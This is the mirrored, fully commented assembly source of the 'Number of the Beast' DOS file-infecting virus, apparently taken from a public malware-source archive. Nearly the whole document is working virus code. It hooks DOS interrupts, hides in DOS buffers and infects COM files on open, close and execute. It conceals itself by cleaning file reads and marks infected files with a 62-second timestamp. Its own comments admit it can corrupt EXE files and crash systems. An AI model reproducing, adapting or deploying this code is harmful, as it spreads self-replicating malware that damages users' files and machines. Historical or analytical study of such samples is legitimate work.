mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
337 lines
13 KiB
NASM
337 lines
13 KiB
NASM
|
;*******************************************************************************
|
|||
|
;* *
|
|||
|
;* THE NUMBER OF THE BEAST VIRUS *
|
|||
|
;* *
|
|||
|
;* This is NOT a original virus, but a modification. Main difference *
|
|||
|
;* between original virus is, that this release support ANY DOS version *
|
|||
|
;* above 3.00 and below 4.00 (3.10, 3.20 and 3.30). *
|
|||
|
;* *
|
|||
|
;* Modification (C) were made by *
|
|||
|
;* *
|
|||
|
;* Kiril Stoimenov & Stephen Genchev *
|
|||
|
;* *
|
|||
|
;* Source was (C) commented by *
|
|||
|
;* Waleri Todorov, CICTT, 07 Mar 1991 20:30 *
|
|||
|
;* *
|
|||
|
;* All Rights Reserved. *
|
|||
|
;* *
|
|||
|
;*******************************************************************************
|
|||
|
;* *
|
|||
|
;* We don't care about any damages caused by compiling and runnig *
|
|||
|
;* of this program. Use it only at your responsible ! *
|
|||
|
;* *
|
|||
|
;* If you find any mistakes or inaccurates in this source or comments, *
|
|||
|
;* please, let us know. Drop message for Waleri Todorov on Virus eXchange *
|
|||
|
;* BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100 *
|
|||
|
;* *
|
|||
|
;* Waleri Todorov *
|
|||
|
;* *
|
|||
|
;*******************************************************************************
|
|||
|
org 0
|
|||
|
|
|||
|
mov ah,30h ; Get DOS version
|
|||
|
int 21h
|
|||
|
xchg ah,al ; Swap major and minor digit
|
|||
|
cmp ax,31Eh ; Is DOS==3.30
|
|||
|
mov si,7B4h ; Load offset of original int13
|
|||
|
jae newdos ; If 3.30+ -> Proceed
|
|||
|
mov si,10A5h ; Load offset of original int13
|
|||
|
cmp al,10 ; Check for 3.10
|
|||
|
je newdos ; If so -> proceed
|
|||
|
mov si,1EC9h ; Load offset of original int13 for other DOS's
|
|||
|
newdos: mov ds,cx ; This may cause trouble, because CX
|
|||
|
; is NOT allways set to ZERO
|
|||
|
mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area
|
|||
|
movsw ; Save oroginal int13 vector
|
|||
|
movsw ; to unused area in PSP
|
|||
|
mov si,84h ; DS:SI point to 0000:0084 - int21 vector
|
|||
|
movsw ; Save current int21 vector
|
|||
|
movsw ; to unused area in PSP
|
|||
|
lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21
|
|||
|
push es ; Save ES
|
|||
|
push di ; Save DI
|
|||
|
mov si,8 ; DS:SI point in current int21 handler;
|
|||
|
mov ch,1 ; CX=100h - As I said CX is not allways set to 0
|
|||
|
repz cmpsw ; Check if virus v512 hold the int21 vector
|
|||
|
push cs ;
|
|||
|
pop ds ; Set DS to PSP
|
|||
|
jz SkipInstall ; If virus is active -> SkipInstall
|
|||
|
|
|||
|
mov ah,52h
|
|||
|
int 21h ; Get DOS table of table address
|
|||
|
push es ; Save segment of table
|
|||
|
mov si,00F8h ; DS:SI point virus WITH data area in PSP
|
|||
|
sub di,di ; This will be offset in DOS buffer
|
|||
|
les ax,dword ptr es:[bx+12h] ; Load address of first
|
|||
|
; DOS buffer from table of tables
|
|||
|
; This is the reason why virus
|
|||
|
; will NOT work on DOS 4.X+
|
|||
|
|
|||
|
mov dx,es:[di+02] ; Load in DX segment of next DOS buffer
|
|||
|
mov cx,0104h ; CX set to virus size (208h bytes)
|
|||
|
repz movsw ; Move itself in DOS buffer
|
|||
|
mov ds,cx ; Now CX is 0 so DS also become 0
|
|||
|
mov di,0016h ; This will be used for finding parent PSP
|
|||
|
mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset
|
|||
|
mov [di+70h],es ; Set new int21 segment
|
|||
|
|
|||
|
pop ds ; Restore segment of table in DS
|
|||
|
mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain
|
|||
|
|
|||
|
mov dx,cs ; DX is current PSP segment
|
|||
|
mov ds,dx ; DS also
|
|||
|
mov bx,[di-14h] ; Load LAST segment available
|
|||
|
dec bh ; LastSegment-=0x0100
|
|||
|
mov es,bx ; ES point in transit COMMAND.COM area
|
|||
|
cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP
|
|||
|
mov ds,[di] ; Load in DS segment of parent of COMMAND
|
|||
|
mov dx,[di] ; Load in DX parent of parent of COMMAND
|
|||
|
dec dx ; Decrement loaded segment
|
|||
|
mov ds,dx ; Set DS to rezult
|
|||
|
mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command
|
|||
|
mov dx,di ; Save DI in DX
|
|||
|
mov cl,28h ; Will move 80 bytes
|
|||
|
repz movsw ; Do moving
|
|||
|
mov ds,bx ; Set DS to transit COMMAND.COM segment
|
|||
|
|
|||
|
jb RunProcess ; If current process is less than parent
|
|||
|
; then COMMAND strat in progress -> read original bytes
|
|||
|
|
|||
|
int 20h ; Else stop. File will run from decond start
|
|||
|
; If this instruction will be replaced by
|
|||
|
; PUSH CS; POP DS file will run from first time
|
|||
|
|
|||
|
SkipInstall: mov si,cx ; Set SI to 0
|
|||
|
mov ds,[si+02Ch] ; Load in DS segment of envirement
|
|||
|
SearchAgain: lodsw ; Load word from envirement
|
|||
|
dec si ; Decrement envirement pointer
|
|||
|
test ax,ax ; Test for zero in AX
|
|||
|
jnz SearchAgain ; If not zero -> SearchAgain
|
|||
|
add si,3 ; Else SI+=3; Now DS:SI point to filename in env
|
|||
|
mov dx,si ; DS:DX point to filename for open
|
|||
|
RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode
|
|||
|
call CallDosGet ; Call int21 & get handle table address in DS:DI
|
|||
|
mov dx,[di] ; Load file size in DX
|
|||
|
mov [di+04],dx ; Set file pointer to end of file
|
|||
|
add [di],cx ; Increase file size with 512 bytes
|
|||
|
pop dx ; Restore file entry point (100h) to DX
|
|||
|
; This used for reading original bytes
|
|||
|
; of file at normal place
|
|||
|
push dx ; Save entry point again
|
|||
|
push cs ; Set ES point to virus segment
|
|||
|
pop es ;
|
|||
|
push cs ; Set DS point to virus segment
|
|||
|
pop ds ;
|
|||
|
push ds ; Save PSP segment
|
|||
|
mov al,50h ; Push 50h. On stack is far address PSP:0050
|
|||
|
; This are INT 21; RETF instructions
|
|||
|
push ax ; Update returning address
|
|||
|
mov ah,03Fh ; Set AH=3F - read file
|
|||
|
retf ; Far return; Read original file
|
|||
|
; and return control to it
|
|||
|
CallDosGet: int 21h ; Open file; Open procedure will go trough virus
|
|||
|
jc ErrorOpen ; If error occur -> Skip open
|
|||
|
mov bx,ax ; Move file pointer in BX
|
|||
|
; This could be XCHG AX,BX; that save 1 byte
|
|||
|
|
|||
|
GetHandleAddr: push bx ; Save file handle in stack
|
|||
|
mov ax,1220h ; Get handle's table number
|
|||
|
int 02Fh ; Via int 2F (undocumented)
|
|||
|
mov bl,es:[di] ; Load table number in BL
|
|||
|
mov ax,1216h ; Get handle table ADDRESS (ES:DI)
|
|||
|
int 02Fh ; Via int 2F (undocumented)
|
|||
|
pop bx ; Restore file handle from stack
|
|||
|
push es ; Set DS to point table's segment
|
|||
|
pop ds ;
|
|||
|
add di,11h ; DI will point file's size entry intable
|
|||
|
mov cx,0200h ; CX set to virus size
|
|||
|
ErrorOpen: ret
|
|||
|
ReadClean: sti ; Disable external interrupts request
|
|||
|
push es ; Save important registers to stack
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push ds ; Data buffer segment
|
|||
|
push cx ; Bytes to read
|
|||
|
call GetHandleAddr ; Get file handle's table address in DS:DI
|
|||
|
mov bp,cx ; Save virus size in BP
|
|||
|
mov si,[di+04] ; Save in SI current file pointer
|
|||
|
pop cx ; Restore bytes to be readed in CX
|
|||
|
pop ds ; Restore buffer segment
|
|||
|
call ReadOriginal ; Open file with original int21
|
|||
|
jc SkipClean ; If error while read -> skip cleaning
|
|||
|
cmp si,bp ; Check if file pointer was in virus
|
|||
|
jnb SkipClean ; If no -> nothing to clean
|
|||
|
push ax ; Save readed bytes
|
|||
|
mov al,es:[di-04] ; Load AL with file time
|
|||
|
not al ;
|
|||
|
and al,01Fh ; Mask seconds of file time
|
|||
|
jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do
|
|||
|
add si,es:[di] ; Add to current pointer file size
|
|||
|
; Now SI point to requested offset,
|
|||
|
; BUT in original file bytes
|
|||
|
|
|||
|
xchg si,es:[di+04] ; Set new file pointer and save old file pointer
|
|||
|
add es:[di],bp ; Increase file size with virus size
|
|||
|
call ReadOriginal ; Open file via original int21
|
|||
|
mov es:[di+04],si ; Restor file pointer
|
|||
|
lahf ; ??? I don't know. If you do let me know
|
|||
|
sub es:[di],bp ; Decrease file size with virus size
|
|||
|
sahf ; ??? I don't know. If you do let me know
|
|||
|
SkipCleanPop: pop ax ; Restore readed bytes
|
|||
|
|
|||
|
SkipClean: pop bp ; Restore saved imortant register
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop es
|
|||
|
db 0CAh, 2, 0 ; RETF 2
|
|||
|
|
|||
|
ReadOriginal: mov ah,03Fh
|
|||
|
CallDOS: pushf
|
|||
|
push cs
|
|||
|
call JumpDOS
|
|||
|
ret
|
|||
|
; Following few bytes are int21 handler. They check if file is open close or
|
|||
|
; executed and clean or infect file with virus. Here there is serious problem -
|
|||
|
; from time to time virus infect file which is NOT COM file (EXE file will be
|
|||
|
; destroyed, by the way).
|
|||
|
; More about this later in comments
|
|||
|
|
|||
|
|
|||
|
int21: cmp ah,03Fh ; If function is Read file
|
|||
|
jz ReadClean ; then go and read original bytes
|
|||
|
|
|||
|
push ds ; Save important registers
|
|||
|
push es
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
cmp ah,03Eh ; If function is Close file
|
|||
|
jz CloseInfect ; then Close and Infect
|
|||
|
cmp ax,04B00h ; If execute file
|
|||
|
mov ah,03Dh ; then open file before execute
|
|||
|
; After opening file will be closed
|
|||
|
; and .... Infected
|
|||
|
jz Infect ;
|
|||
|
TerminateInt: pop di ; Restore important registers
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21
|
|||
|
|
|||
|
CloseInfect: mov ah,45h
|
|||
|
Infect: call CallDosGet ; Duplicate file handler
|
|||
|
jc TerminateInt ; If error -> terminate
|
|||
|
sub ax,ax ; Set AX to 0
|
|||
|
mov [di+04],ax ; Set file pointer to 0
|
|||
|
mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write
|
|||
|
cld
|
|||
|
mov ds,ax ; Set DS point to interrupt table
|
|||
|
mov si,004Ch ; SI point to int13 offset
|
|||
|
lodsw ; Load int13 offset
|
|||
|
push ax ; and save it in stack
|
|||
|
lodsw ; Load int13 segment
|
|||
|
push ax ; and save it in stack
|
|||
|
push [si+40h] ; Save int24 offset
|
|||
|
push [si+42h] ; Save int24 segment
|
|||
|
lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13
|
|||
|
mov ax,2513h ; and set it via DOS function SetVector
|
|||
|
int 21h ;
|
|||
|
push cs ; Set DS point to virus segment
|
|||
|
pop ds ;
|
|||
|
mov dx,offset int24+8 ; Load in DX offset of int24 handler
|
|||
|
mov al,24h ; Set int24 vector
|
|||
|
int 21h ; via DOS function SetVector
|
|||
|
push es ; Set DS point to handle table segment
|
|||
|
pop ds ;
|
|||
|
mov al,[di-04] ; Load AL with file time
|
|||
|
|
|||
|
; As I said in some case virus will infect non-COM file. This may happend
|
|||
|
; if file you work with has time set to 62 seconds. In this case virus infect
|
|||
|
; file without checking filename. This WILL damage EXE file. DOS will treat
|
|||
|
; this files as COM files, but usualy their size is bigger than 64K, so DOS
|
|||
|
; cannot run it. If file is less than 64K then virus run and read original
|
|||
|
; bytes. Usualy he DO read them, then skip control to these bytes. In EXE
|
|||
|
; files this is EXEheader, so execution FAIL (your system CRASH)
|
|||
|
|
|||
|
|
|||
|
and al,01Fh ; Mask seconds
|
|||
|
cmp al,01Fh ; Check if seconds == 31 (62sec)
|
|||
|
jz NoNameCheck ; If so -> infect with no name check
|
|||
|
mov ax,[di+17h] ; Load AX with first 2 letters of file extension
|
|||
|
sub ax,04F43h ; If file is NOT *.CO?
|
|||
|
jnz SkipInfect ; SkipInfect
|
|||
|
|
|||
|
NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec)
|
|||
|
mov ax,[di] ; Set AX to file size
|
|||
|
cmp ax,cx ; Check file size and virus size
|
|||
|
jb SkipInfect ; If file is less than 512 bytes -> Don't infect
|
|||
|
add ax,cx ; Increase file size with virus size
|
|||
|
jc SkipInfect ; If file is bigger than (65535-512) -> no infect
|
|||
|
test byte ptr [di-0Dh],04 ; Check file attribute
|
|||
|
jnz SkipInfect ; If SYSTEM file -> don't infect it
|
|||
|
lds si,dword ptr [di-0Ah] ; Load DS:SI with device header
|
|||
|
dec ax ; AX (file size with virus) --
|
|||
|
shr ah,1 ; AX/=2
|
|||
|
and ah,[si+04] ; Check if enough place in cluster behind file
|
|||
|
jz SkipInfect ; If no place -> terminate infection
|
|||
|
mov ax,0020h ; DS = 20 (Second part of int table)
|
|||
|
mov ds,ax ;
|
|||
|
sub dx,dx ; DS:DX point to virus transfer buffer
|
|||
|
call ReadOriginal ; Open file with original int21
|
|||
|
mov si,dx ; Save virus buffer offset in SI
|
|||
|
push cx ; Save virus size
|
|||
|
LoopCheck: lodsb
|
|||
|
cmp al,cs:[si+07] ; Compare readed data with virus code
|
|||
|
jnz WriteFile ; If at least ONE byte different -> fuck file
|
|||
|
loop LoopCheck ; Check all virus code with buffer
|
|||
|
pop cx ; Restore virus size
|
|||
|
SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec
|
|||
|
NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word
|
|||
|
|
|||
|
; In case of file this is flag area. Setting bit 14
|
|||
|
; as virus does, mean for DOS "Don't set file date/time when close"
|
|||
|
; DOS always rewrite Date/Time field of table. If bit 14 is clear (0)
|
|||
|
; then DOS will set current time to file. Virus should avoid this, or
|
|||
|
; DOS will overwrite seconds field and they (seconds) will be normal
|
|||
|
|
|||
|
SkipInfect: mov ah,03Eh ; Close file
|
|||
|
call CallDOS ; via original int21
|
|||
|
or byte ptr es:[di-0Ch],40h ; Set flag... See above
|
|||
|
pop ds ; Restore original int24
|
|||
|
pop dx
|
|||
|
mov ax,2524h ; via SetVector
|
|||
|
int 21h
|
|||
|
pop ds ; Restore original int13
|
|||
|
pop dx
|
|||
|
mov al,13h ; via SetVector
|
|||
|
int 21h
|
|||
|
jmp TerminateInt ; All done, jump to DOS
|
|||
|
|
|||
|
WriteFile: pop cx ; Restore virus size to CX
|
|||
|
mov si,es:[di] ; Save current file size in SI
|
|||
|
mov es:[di+04],si ; Move file pointer at the end of file
|
|||
|
mov ah,40h ; Write to file its first 512 bytes at the end
|
|||
|
int 21h
|
|||
|
jc NoUpdateTime ; If error occur file time will be normal
|
|||
|
mov es:[di],si ; Set file size to be as before (file size
|
|||
|
; will remain unchanged)
|
|||
|
mov es:[di+04],dx ; Set file pointer to beginning of file
|
|||
|
push cs ; Set DS:DX point to virus
|
|||
|
pop ds ;
|
|||
|
mov dl,08 ; Skip first 8 bytes of virus, because they
|
|||
|
; are a buffer for int handlers adresses
|
|||
|
mov ah,40h ; Write virus at the beginning of file
|
|||
|
int 21h ;
|
|||
|
jmp SetFileTime ; File now OK infected, so his time must be
|
|||
|
; set to 62 sec
|
|||
|
int24: iret ; int 24 handler. Avoid "Write protected error..."
|
|||
|
db '666' ; Virus signature
|
|||
|
|